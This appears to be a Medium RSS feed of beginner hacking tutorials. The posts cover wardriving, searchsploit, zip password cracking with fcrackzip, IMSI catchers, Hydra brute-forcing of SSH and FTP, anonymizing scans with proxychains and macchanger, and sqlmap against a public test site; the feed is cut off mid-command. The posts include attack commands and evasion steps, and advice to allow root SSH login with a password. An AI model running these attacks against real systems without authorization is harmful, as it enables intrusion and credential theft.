<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by M.Khfaga on Medium]]></title>
        <description><![CDATA[Stories by M.Khfaga on Medium]]></description>
        <link>https://medium.com/@medoo53111?source=rss-9237bc105976------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*z8vAfYVbA4_379hRzwxrHw.png</url>
            <title>Stories by M.Khfaga on Medium</title>
            <link>https://medium.com/@medoo53111?source=rss-9237bc105976------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 21:15:09 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@medoo53111/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Wardriving The Art of :GPS SSID MAC Data Collecting]]></title>
            <link>https://medium.com/@medoo53111/wardriving-the-art-of-gps-ssid-mac-data-collecting-82911662b729?source=rss-9237bc105976------2</link>
            <guid isPermaLink="false">https://medium.com/p/82911662b729</guid>
            <category><![CDATA[medium]]></category>
            <category><![CDATA[kali-linux]]></category>
            <category><![CDATA[wardriving]]></category>
            <category><![CDATA[gps]]></category>
            <category><![CDATA[wifi]]></category>
            <dc:creator><![CDATA[M.Khfaga]]></dc:creator>
            <pubDate>Fri, 22 Dec 2023 20:02:45 GMT</pubDate>
            <atom:updated>2023-12-22T20:02:45.694Z</atom:updated>
            <content:encoded><![CDATA[<h3>Wardriving The Art of :GPS SSID MAC Data Collecting</h3><p>Open source network observation, positioning, and display client from the world’s largest queryable database of wireless networks. Can be used for site-survey, security analysis, and competition with your friends. Collect networks for personal research or upload to wigle.net</p><p>The app or the website is for collecting information about the different wireless hotspots around the world. Users can register on the website and upload hotspot data like GPS coordinates, SSID, MAC address and the encryption type used on the hotspots discovered. In addition, cell tower data is uploaded and displayed.</p><p>Download the app from Google Play Store, the app is for Android only, but you can use the website if you’re using IOS:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/777/1*ePvw5kBT7qJ_x4HZaZ13IA.png" /></figure><p>Open the app and go to settings and register with your email and password:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/277/1*V3Ai046hoGX7j27-Xk92WQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/1*M2b7IXdz40IaTJRwadK56w.png" /></figure><p>Make sure to turn on the Bluetooth and the gps on your phone:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/364/1*g11JW8IhpbkHEdNNPwGO-g.png" /></figure><p>Now keep the app running for a while and you can get in your car and drive around for a bit as the app will keep scanning for Wifi, cell towers and Bluetooth devices and store them on the application, click on the upper left button UPLOAD TO WIGLE.NET and the app will make a copy of the collected data and upload it to the wigle.net under your account:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x77F2uUAg37tDiMKh_eYmA.png" /></figure><p>Under the View button choose Advance Search where you can make a search for a specific SSID or a cell tower in any part of the world or just around you:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QnlHv9jv-_unAj8vzChaNw.png" /></figure><p>You can make a search using location coordinates or using a country name beside the SSID name or the network you looking for:</p><p>Let’s say we are looking for AndroidAP as the network SSID, and for the location we can either enter the address for the place we are searching for or we can enter the Latitude and the Longitude.</p><p>In my case i will be using the latitude and the Longitude, and i got a lot of networks with the name AndoirdAP:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f7l0STAJrxlCa0ABylNHGg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FnBycdg25YtfaTN8NRnqww.png" /></figure><p>Under the Upload section you can find the files you uploaded from your phone and you can save them to your laptop:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eqrYB2vPG-3yI5gNoDRYqg.png" /></figure><p>Although the apps used to collect information are open sourced, the database itself is accessed and distributed under a freeware proprietary license.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=82911662b729" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Search Exploit-Database With SearchSploit]]></title>
            <link>https://medium.com/@medoo53111/search-exploit-database-with-searchsploit-6031cb42ba38?source=rss-9237bc105976------2</link>
            <guid isPermaLink="false">https://medium.com/p/6031cb42ba38</guid>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[exploitation]]></category>
            <category><![CDATA[medium]]></category>
            <category><![CDATA[kali-linux]]></category>
            <category><![CDATA[data]]></category>
            <dc:creator><![CDATA[M.Khfaga]]></dc:creator>
            <pubDate>Sun, 05 Mar 2023 15:26:03 GMT</pubDate>
            <atom:updated>2023-03-05T15:26:03.165Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/668/1*jO1ZAH4uMeVKU8UgIwGtLQ.png" /></figure><p>Searchsploit, a command line search tool for Exploit-DB that also allows you to take a copy of Exploit Database with you, everywhere you go. SearchSploit gives you the power to perform detailed off-line searches through your locally checked-out copy of the repository. This capability is particularly useful for security assessments on segregated or air-gapped networks without Internet access.</p><p>Many exploits contain links to binary files that are not included in the standard repository but can be found in our Exploit Database Binary Exploits repository instead. If you anticipate you will be without Internet access on an assessment, ensure you check out both repositories for the most complete set of data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lUqX3WvcHEjfhrXkA7s-kw.png" /></figure><p>Using the flag “-t” search just the exploit title:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6XLAE9TAx6Sq0-xc3rBJ1Q.png" /></figure><p>We can be more specific and add some parameters to the search like if we looking for exploits foe ssh to windows os, we can write it like this:</p><p>searchsploit –t ssh windows</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*khP7vYorH9zoYL75Z7PxPg.png" /></figure><p>As we can see from the search result every time we get back a result it shows also the path to the exploit on the far right of the screen, let’s say we are searching for exploit “25268.txt” and we want to copy it to our home directory, all we need to do is use the flag “-m” to search for it and copy it at the same time to our home directory or to where we are in the terminal:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ntL55yhexs_yOvlSrhgzBA.png" /></figure><p>We can also read the file with the flag “ — examine” or just “-x”:</p><p>searchsploit 25268.txt –examine</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zConrk6lkxOjg3BRQDmdMw.png" /></figure><p>We can filter the output by specifying a word or more, if we looking for exploits for Privilege Escalation we can write it like this:</p><p>searchsploit ubuntu 14.04 | grep Privilege Escalation</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0sr2TRd9B-goAJ_a8N4b2g.png" /></figure><p>Now let’s say we want to download the exploit right from the internet and not from the database for our local system, no need to search online for it as we can use the flag “-w” with our search to view the name of the exploits along with the URL to that exploit and we can click the link to it and download it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BdLIJgJazwDG4yO5omR1cQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6031cb42ba38" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Short Guid to Crack ZIP Files]]></title>
            <link>https://medium.com/@medoo53111/short-guid-to-crack-zip-files-40ba489050b1?source=rss-9237bc105976------2</link>
            <guid isPermaLink="false">https://medium.com/p/40ba489050b1</guid>
            <category><![CDATA[kali-linux]]></category>
            <category><![CDATA[medium]]></category>
            <category><![CDATA[passwords]]></category>
            <category><![CDATA[crack]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[M.Khfaga]]></dc:creator>
            <pubDate>Sun, 26 Feb 2023 11:38:18 GMT</pubDate>
            <atom:updated>2023-02-26T11:38:18.587Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/847/1*o85CnAA32PGDkHL8IoJONg.png" /></figure><p>fcrackzip is a third-party tool for cracking zip files passwords. Searches each zipfile given for encrypted files and tries to guess the password.</p><p>Let’s start by showing the help screen for the tool:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mFeafzbras2awNCGT0DO7g.png" /></figure><p>We created a file “Secret.txt” then zipped it with a password 123456, then we to crack it with fcrackzip command:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UzUQPYiufwkepkAcCK_Azg.png" /></figure><p>In this example we used the flag “–D” for dictionary attack and provided the rockyou.txt as the dictionary file.</p><p>Now another example were we can use the brute force method using the flag “-b” and no need to provide a dictionary file, we use the flag “-c” to provide a character, lowercase, uppercase letters, in our case the password is numbers so the syntax will be “-c ‘1’” also we used the flag “-v” for verbose information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8UrsPPS6HlXqiHXyvGuNlQ.png" /></figure><p>If we want to use the lowercase letters, we use the flag “-c ‘a’” and in the case of uppercase letters we use the flag “-c ‘A’”.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=40ba489050b1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[StingRays The Surveillance Tool That No One Talks About]]></title>
            <link>https://medium.com/@medoo53111/stingrays-the-surveillance-tool-that-no-one-talks-about-6bdc0a703bbd?source=rss-9237bc105976------2</link>
            <guid isPermaLink="false">https://medium.com/p/6bdc0a703bbd</guid>
            <category><![CDATA[cell-phones]]></category>
            <category><![CDATA[surveillance]]></category>
            <category><![CDATA[stingray]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[site]]></category>
            <dc:creator><![CDATA[M.Khfaga]]></dc:creator>
            <pubDate>Thu, 02 Feb 2023 09:47:25 GMT</pubDate>
            <atom:updated>2023-02-02T09:47:25.449Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/509/1*peJm2tJg1As5_-Bb1a3OAQ.png" /></figure><p>First we need to understand the idea behind “Cell Site Simulator”, so we can comprehend how the StinGray works.</p><p>WHAT IS A CELL SITE SIMULATOR?</p><p>A cell site simulator, frequently referred to as a Stingray or IMSI catcher, is a device that masquerades as a cell tower. It forces all cell phones in the vicinity that uses the impersonated network to surreptitiously share information with it. Cell site simulators are portable, briefcase-sized devices, which can fit in small cars, be carried by hand, and even be deployed on airplanes to facilitate larger-scale surveillance.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/379/1*E57lImaedMr8GTGOLVUTGg.png" /></figure><p>HOW ARE CELL SITE SIMULATORS USED?</p><p>When a particular cell phone’s unique identifiers are known, a cell site simulator can locate and track the cell phone owner’s movements.</p><p>When a suspect’s cell phone’s unique identifiers are unknown, such as when the suspect is using a “burner phone,”</p><p>a cell site simulator can acquire them.</p><p>Acquiring a cell phone’s unique identifiers facilitates further surveillance, including wiretaps and the collection of call records. Although some cell site simulators can also intercept the contents of communications, most federal law enforcement agencies are subject to policies that prohibit the practice, and some local law enforcement agencies have said that their devices lack this capability.</p><p>Since cell site simulators collect identifying data from nearby bystanders’ cell phones, they collect information relating to large numbers of people.</p><p>HOW TO DETECT ITS USAGE IN YOUR CASE</p><p>Cell site simulators appear to be in widespread use; however, it is not always easy to recognize when one was used. There are</p><p>several indicators to watch for that may suggest cell site simulator use in your client’s case:</p><p>1. Terminology: The government may use a range of terms to refer to a cell site simulator, including: digital analyzer, cell site</p><p>emulator, cell site monitor, IMSI catcher, and WITT. The government may also refer to the device by a trade name,</p><p>including Stingray, Triggerfish, Kingfish, Amberjack, and Hailstorm. However, because there is a high level of secrecy</p><p>surrounding these devices, the government may instead use broad and/or imprecise terms such as “mobile tracking device”</p><p>or “pen register,” which gloss over the technical capabilities of a cell site simulator.</p><p>2. Source Explanations: Law enforcement may have used a cell site simulator when government evidence contains highly</p><p>precise information about a person’s location or reveals knowledge of a cell phone’s unique numeric identifier that is</p><p>unsupported by a credible source explanation. This includes information that cites a “confidential source” or “known</p><p>investigative technique” without an adequate explanation. Information attributed to a confidential informant with a minimal</p><p>or non-existent criminal record bears deeper scrutiny.</p><p>StingRays: What do they do and how do they work?</p><p>“StingRay” is the name for a line of “cell site simulator” technology sold by the Harris Corporation.</p><p>Other Harris cell site simulator models include the “TriggerFish,” “KingFish,” and “Hailstorm.”</p><p>The more generic term for the technology is “IMSI catcher,” in reference to the unique identifier — or international mobile subscriber identity — of a wireless device.</p><p>Although IMSI catchers may be the most under-litigated surveillance tool in widespread use, there is a fair amount of publicly available information about them.</p><p>The government has been using IMSI catchers for approximately two decades.</p><p>According to documents obtained by the Electronic Privacy Information Center (“EPIC”) in a Freedom of Information Act (“FOIA”) lawsuit, the Federal Bureau of Investigation (“FBI”) has been using the technology since 1995, agents have undergone extensive training on these devices, and usage is dramatically increasing.</p><p>A number of federal law enforcement agencies, including the FBI, Drug Enforcement Administration, Bureau of Alcohol, Tobacco, Firearms and Explosives, Secret Service, Marshals Service, and Immigration and Customs Enforcement, are known to own and use cell site simulators.</p><p>Use is not limited to the federal government. At least 34 law enforcement agencies in 15 states have purchased IMSI catchers.</p><p>Wireless carriers provide coverage through a network of base stations, also called cell sites, that connect wireless devices to the regular telephone network. Cell phones periodically identify themselves to the base station that has the strongest radio signal, which is often, but not always, the nearest base station.</p><p>A cell phone automatically transmits to the base station “signaling data,” which includes the phone’s unique numeric identifier, as well as its cell site code, which identifies its location.</p><p>An IMSI catcher masquerades as a wireless carrier’s base station, thereby prompting cell phones to communicate with it as though it were actually the carrier’s base station.</p><p>The equipment consists of “an antenna, an electronic device that processes the signals transmitted on cell phone frequencies, and a laptop computer that analyzes the signals and allows the agent to configure the collection of information.”</p><p>It “can be carried by hand or mounted on vehicles or even drones.”</p><p>StingRays are capable of capturing the following types of information:</p><p>First, if the government knows a suspect’s location, it can use the device to determine the unique numeric identifier associated with her cell phone. To do this, law enforcement agents “position a StingRay in the vicinity of the target [’s phone],” which will then transmit to the IMSI catcher the signaling information (including unique numeric identifier) it would normally transmit to the carrier’s base station.</p><p>There are a variety of unique numeric identifiers, including International Mobile Subscriber Identity (“IMSI”), Electronic Serial Number (“ESN”), and Mobile Identification Number (“MIN”). Obtaining a cell phone’s unique numeric identifier facilitates the government’s efforts to obtain a wiretap or call records on a target of an investigation.</p><p>Second, if the government knows a cell phone’s unique numeric identifier, it can use an</p><p>IMSI catcher to determine the phone’s location. The numeric identifier is programmed into the IMSI catcher, which then sorts through the signaling data (including location) of cell phones in the area until it finds a match.</p><p>While law enforcement can also obtain location information through requests to carriers for cell site location information, IMSI catchers vary from carrier requests in at least two regards. IMSI catchers can typically be used without carrier assistance.</p><p>Third, IMSI catchers are capable of capturing the content of communications, such as voice calls and text messages. The devices used by the federal government are likely configured to disable the content intercept function.</p><p>While some devices can be configured to intercept content, we are not aware of instances in which law enforcement has deployed an IMSI catcher in this fashion and the primary governmental uses appear to be identifying a phone’s unique unique numeric identifier or location.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6bdc0a703bbd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Brute Force Websites With Hydra]]></title>
            <link>https://medium.com/@medoo53111/brute-force-websites-with-hydra-a369cc08d36a?source=rss-9237bc105976------2</link>
            <guid isPermaLink="false">https://medium.com/p/a369cc08d36a</guid>
            <category><![CDATA[website]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[kali-linux]]></category>
            <category><![CDATA[brute-force]]></category>
            <category><![CDATA[hydra]]></category>
            <dc:creator><![CDATA[M.Khfaga]]></dc:creator>
            <pubDate>Wed, 01 Feb 2023 09:04:52 GMT</pubDate>
            <atom:updated>2023-02-01T09:04:52.484Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/838/1*zmZ-bOhYTWFakjb-PekWqA.png" /></figure><p>Hydra is a popular tool among penetration testers and security researchers for conducting password cracking and brute force attacks. It can be run on multiple platforms, including Kali Linux, and has support for various network protocols and services, such as: Cisco AAA, Cisco auth, Cisco enable, CVS, FTP, HTTP(S)-FORM-GET, HTTP(S)-FORM-POST, HTTP(S)-GET, HTTP(S)-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MySQL, NNTP, Oracle Listener, Oracle SID, PC-Anywhere, PC-NFS, POP3, PostgreSQL, RDP, Rexec, Rlogin, Rsh, SIP, SMB(NT), SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 and v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP.</p><p>Hydra allows users to specify various parameters, such as the target IP address, port number, username list, password list, and others. It also supports multiple attack methods, including parallel and distributed attacks, to speed up the cracking process.</p><p>It is important to note that using Hydra or any other password cracking tool without proper authorization is illegal and unethical. These tools should only be used for testing and securing one’s own systems, or as part of a legitimate security assessment or penetration test.</p><p>To start Hydra simply write hydra -h to see more options:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nuCfGSmqFyk6wf5R1FV1GQ.png" /></figure><p>Running hydra to brute force a specific service such ssh or ftp is simple, here we try with ssh and we use the flag “-l” to provide the user’s name root and the flag “-P” as the path to the wordlist, “-vV” is for verbose output to be displayed.</p><p>hydra -l &lt;USERNAME&gt; -P &lt;PASSWORD_FILE_PATH&gt; &lt;ssh://IP&gt; -vV</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R1MOGt1TzmPwMq6m0-D3zg.png" /></figure><p>Let’s try brute forcing ftp service, hydra -l &lt;USERNAME&gt; -P &lt;PASSWORD_FILE_PATH&gt; &lt;IP&gt; ftp -vV</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gZuOWpnFlPBODJGeeh7h6w.png" /></figure><p>Let’s say the service you trying to brute force is not on the usual port, for example ssh service is on port 22 but you can change the port to something like 2222, so now we need to use the flag “-s” and specify the new port:</p><p>hydra -l &lt;USERNAME&gt; -P &lt;PASSWORD_FILE_PATH&gt; &lt;IP&gt; ssh -s 2222-vV</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CHqxQmshFsVA7HKso_fvzw.png" /></figure><p>We also have another application xHydra which is a GUI frontend for Hydra. xHydra can be used for both offline and online password cracking. xHydra can be used for many types of online attacks, including attacks against MySQL, SMB, MSSQL, and many types of HTTP/HTTPS logins, just to name a few.</p><p>You can start xHydra from the application menu:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/1*-yY_rDWziBf3zgvlVOXA5A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*x42Dn9wz7f_OVSyRYVruGg.png" /></figure><p>We can select the target IP address and the service port we want to brute force, also we have some options like to be verbose and show the numbers of attempts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/1*AZQAj0RUScx_HkUMvLya0A.png" /></figure><p>Enter the username then locate the password file and you good to go.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a369cc08d36a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Become Anonymous & Secure on The Internet in 5 Steps]]></title>
            <link>https://medium.com/@medoo53111/become-anonymous-secure-on-the-internet-in-5-steps-df7895f65516?source=rss-9237bc105976------2</link>
            <guid isPermaLink="false">https://medium.com/p/df7895f65516</guid>
            <category><![CDATA[internet]]></category>
            <category><![CDATA[medium]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[kali-linux]]></category>
            <category><![CDATA[anonymous]]></category>
            <dc:creator><![CDATA[M.Khfaga]]></dc:creator>
            <pubDate>Sun, 29 Jan 2023 12:07:05 GMT</pubDate>
            <atom:updated>2023-01-29T12:07:05.234Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SYA6hN82WOG60V7Q2unr0Q.png" /></figure><p>Kali Linux is one of best distro for hacking and penetration testing used by millions of people around the world.</p><p>When you first install Kali Linux on your machine, you need to make sure it’s secured in the best way to be able to become anonymous on the web and also to make sure you not leaving any trace behind you.</p><p>These are the most important steps to make your system secure as possible and keep your system malicious-free:</p><p><strong>Step 1:</strong></p><p>Installing ssh on Kali Linux to be able to access it from any where using another machine like a laptop or even from your phone, but installing ssh on your machine is not that easy as you need to tweak some configuration to make it even scure.</p><p>Make sure you have the right packages installed as follow:</p><p>apt install ssh openssh-server</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*APAxs-NZ6TXH_VZ5cRXdmg.png" /></figure><p>Here we have the latest packages already installed on our machine, now we move on to configure ssh and create the ssh keys to be able to login:</p><p>rm /etc/ssh/ssh_host_*</p><p>dpkg-reconfigure openssh-server</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iTN3XljUZFZVrSn4eWoIzg.png" /></figure><p>We made sure we deleted any old hosts we have and then we reconfigured the openssh-server for new keys.</p><p>Now we are going to change some lines to make sure we can login with root account and changing the default port:</p><p>nano /etc/ssh/sshd_config</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*Jw2a-yT7K7tFGaovg_Phzw.png" /></figure><p>Here we changed the default port from 22 to 1900</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/470/1*jBaP-aHfP1JVw08gmm5ylw.png" /></figure><p>And then changed the root permission to YES</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ME5mCYdCe1UxHwwxdU_E7A.png" /></figure><p>Last we set the PasswordAuthentication to YES</p><p>Make sure your root account is secured with a very strong password.</p><p><strong>Step 2:</strong></p><p>Whenever you make a pen testing for WIFI hacking or even just surfing the internet you always need to change your MAC address to leave no trace behind.</p><p>We are going to use “macchanger” to change the MAC address of the interface that’s using the internet or for WIFI hacking, “macchanger” comes pre-installed on kali Linux, if not then just install it as “apt install macchnager”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G6QiGxqhR2IC5O5RQ9KcmQ.png" /></figure><p>Now let’s make some changes with it, we view the current MAC address on our interface:</p><p>macchanger -s eth0</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*nN8Zv4FTi8d-f0qZ6Lgj0Q.png" /></figure><p>We use the flag “-s” to show the MAC address along with the interface name.</p><p>To change the MAC address we can make it random address we can burn it manually:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*-5o0mbSWU_AsiNCJgVgItg.png" /></figure><p>We used the flag “-r” to randomly change the MAC address, notice the difference before and after.</p><p>Or we use the flag “-m” so set it manually:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/906/1*Ru-PIMK1c-6z-q6uEVlTIw.png" /></figure><p><strong>Step 3:</strong></p><p>When it comes to information gathering and reconnaissance, we need to make sure we are using Proxychinas.</p><p>Proxychains are great commands to keep us hidden and bouncing all over the internet when it comes to fingerprints, for example we want to be anonymous when we doing some port scanning with “nmap” and we don’t want to have anything left leading back to us.</p><p>But before we set up the proxies, make sure you have tor services installed on your system and start it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jO_AFS7oGrq6qJw2fi30kw.png" /></figure><p>Let’s first configure the Proxychains on our machines with these simple steps:</p><p>nano /etc/proxychains4.conf</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/784/1*S089d5rxbC_279k6iygU_Q.png" /></figure><p>We have 3 modes “dynamic_chain” “strict_chain” “random_chain”.</p><p>The best option is dynamic_chain as it uses the poxy -list and ignore the dead ones or the slow ones, so remove the “#” in front of the dynamic_chain and put “#” in fron of strict_mode.</p><p>Now we need to add some proxies, the best options to get some is to go to this <a href="https://spys.one/en/socks-proxy-list/">SITE</a> and test one by one to make sure they are not dead proxies or slow ones.</p><p>Scroll down to the end of the file and add some proxies to the file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/663/1*h7tUhEskQltb-KuJp6ZUCg.png" /></figure><p>You can just use tor proxies:</p><p>socks4 127.0.0.1 9050</p><p>socks5 127.0.0.1 9050</p><p>They work very well.</p><p>Save the file and start Firefox with this command:</p><p>proxychains firefox duckduckgo.com</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K6jb2lWRCqXNi-akTZONng.png" /></figure><p>It’s working very well under proxychains, now lets’ try to find out if we have and DNS leaks or IP leaks from our system:</p><p>According to this site I’m in the wrong place, which is not true and that’s a good thing and no DNS or IP leaks:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*owEWI5nuYLSG8JKuFj3DsQ.png" /></figure><p>Now it’s time to use proxychains with namp and do some port scanning:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Rv4maf4qFteoh8BOZ1h5ug.png" /></figure><p><strong>Step 4:</strong></p><p>Next step for securing your identity is to use “kalitorify”, it’s a script used to be completely anonymous on the internet, BUT keep in mind you still need to use “macchnager” as we advised before and change your hostname:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/668/1*uwEd0FzN3F7xMrVitX5ODg.png" /></figure><p>Change your hostname from Kali to something else if you want, and for the nameserver add 8.8.8.8 to the file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/603/1*7zLt9JiUZcPpxJmp3dkH3g.png" /></figure><p>The script goes into Transparent proxy, a transparent proxy is an intermediary system that sit between a user and a content provider. When a user makes a request to a web server, the transparent proxy intercepts the request to perform various actions including caching, redirection and authentication.</p><p>Download the script using:</p><p>git clone <a href="https://github.com/brainfucksec/kalitorify">https://github.com/brainfucksec/kalitorify</a></p><p>apt-get update &amp;&amp; sudo apt-get dist-upgrade -y</p><p>apt-get install -y tor curl</p><p>cd kalitorify/</p><p>sudo make install</p><p>Now start the script with “kalitorify -t”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/754/1*y_CyMzspGErrYXnKnrEQUw.png" /></figure><p>And that’s it, we are under tor proxies and we have a new identity, if you want to have a new identity just type “kalitorify -r” to restart tor service and have new IP address.</p><p>When you done just type “kalitorify -c” to clear the IP table and return to your normal IP address.</p><p><strong>Step 5:</strong></p><p>The last step in securing Kali Linux is to use “firejail”, this step is to make sure you never download a malicious file or exploit on your system and run it by mistake, as “firejail” create a temp environment on your system that’s isolated and it’s temporary ends by closing “firejail” session.</p><p>Let’s download “firejail” on our system:</p><p>apt install firejail</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rNnpLBehzy7IO2nhUWMSsg.png" /></figure><p>Now there is a lot of flags to go with the command but the best combination to create a temp folder and make it secure and make sure not to download any suspicious file:</p><p>firejail firefox — seccomp — private — private-tmp –nonewprivs</p><p>Once we run it, we can see this log of the running service:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dy-MJumV7VBIC3aEguGRlQ.png" /></figure><p>And to make sure it’s running, open up another tab and type “firejail –list” to list all the running services:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wJp1tDkyE3c9lbaduHBQ6Q.png" /></figure><p>That’s it, you now should have a secured box to play around with … Happy Hacking.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=df7895f65516" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hack Databases with Sqlmap & Kali Linux]]></title>
            <link>https://medium.com/@medoo53111/hack-databases-with-sqlmap-kali-linux-68624b55b2b1?source=rss-9237bc105976------2</link>
            <guid isPermaLink="false">https://medium.com/p/68624b55b2b1</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[kali-linux]]></category>
            <category><![CDATA[medium]]></category>
            <category><![CDATA[database]]></category>
            <category><![CDATA[sqlmap]]></category>
            <dc:creator><![CDATA[M.Khfaga]]></dc:creator>
            <pubDate>Wed, 18 Jan 2023 14:41:45 GMT</pubDate>
            <atom:updated>2023-01-18T14:41:45.314Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CGtNZJgefj6DMamFBdTVbg.png" /></figure><p>Sqlmap is an open-source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It is an open-source tool to use Sql injection in better and simpler way.</p><p>It is pre-installed on KALI LINUX Operating System.</p><p>Let’s go to see how to install this tool in your ubuntu machine and run test to hack the database of any Sql injection vulnerable websites.</p><p>Let’s start Sqlmap by showing the help screen:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*R-fXvfNI6gTsEtaMLeKAhw.png" /></figure><p>Sqlmap is installed by default on Kali Linux, if you don’t have it, you can install in running this command:</p><p>apt install sqlmap</p><p>Now we’re going to put Sqlmap into test using a test site for databases test.vulnweb.com:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/566/1*nCoI3Pf_xNMTwLB2GNMRzA.png" /></figure><p>Now we scan the target with:</p><p>sqlmap <a href="http://test.php.vulnweb.com/artists.php?artist=1">http://test.php.vulnweb.com/artists.php?artist=1</a> — dbs –batch</p><p>And the result came back down to two databases:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/1*yeBO3TXm68-T-adofifarA.png" /></figure><p>We need to test the “acuart” database:</p><p>sqlmap <a href="http://test.php.vulnweb.com/artists.php?artist=1">http://test.php.vulnweb.com/artists.php?artist=1</a> -D 